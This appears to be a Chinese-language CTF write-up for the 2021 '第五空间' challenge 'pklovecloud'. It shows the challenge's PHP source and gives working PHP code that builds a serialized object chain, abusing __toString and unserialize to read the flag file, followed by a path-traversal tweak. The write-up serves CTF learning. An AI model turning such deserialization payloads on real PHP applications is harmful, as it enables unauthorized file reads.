[第五空间 2021]pklovecloud 解题思路&过程

过程

打开题目,一道关于php反序列化的的代码审计问题。源码如下:

 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 

可以看到,通过ace->echo_name()函数,可以调用到file_get_contents来读文件;acp->__toString()魔术方法中有通过其cinder属性对echo_name()的调用,且__construct()会创建cinder为一个对象;
于是初步构造payload:



class ace{
    public $filename;
    public $openstack;
    public $docker;
}

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;

    function __construct()
    {
        $this->cinder = new ace;
    }
}

$a =  new acp();
echo urlencode(serialize($a));

还不够,目前只是构造了一个acp的对象$a,$a序列化为字符串,又传给了服务端进行反序列化为$logData,反序列化过程中,使其cinder属性为一个ace对象,之后对$logData的echo又触发了_toString,从而调用$logData->$cinder->echo_name(),下面是echo_name()

function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }

将this的docker属性反序列化赋值给this的openstack,此时的this指的是$logData->$cinder,之后又要令openstack的nova属性(这是我们可控的)与neutron属性(这是$heat,我们所不知的)使这二者相等(===)才能bypass比较进而任意读文件。这里不知道$heat,猜$heat肯定是行不通的,也不是解法。

其实通过上面payload1,就能够得到“keystone lost~”,也就是说这里的判断已经bypass了,进入到了判断file_get_contents是否成功的环节。上面分析我们知道,echo_name()里的this就是cinder,cinder是通过构造函数创建的,docker这些属性都是空的,反序列化自然也是NULL,后续的判断自然绕过了。于是在payload1的基础上添加filename即可。



class ace{
    public $filename;
    public $openstack;
    public $docker;
}

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;

    function __construct()
    {
        $this->cinder = new ace;
        $this->cinder->filename = "flag.php";
    }
}

$a =  new acp();
echo urlencode(serialize($a));

拿到flag的提示,/nssctfasdasdflag,但是在上一级,即…/nssctfasdasdflag;修改即可。

acquisition

  1. php反序列化链的构造

reference

https://www.yuque.com/yuxiazhengye-gttya/klsv75/nahbfkacs464nua3
https://www.nssctf.cn/note/set/2527

你可能感兴趣的:(CTF刷题,安全,php,web安全)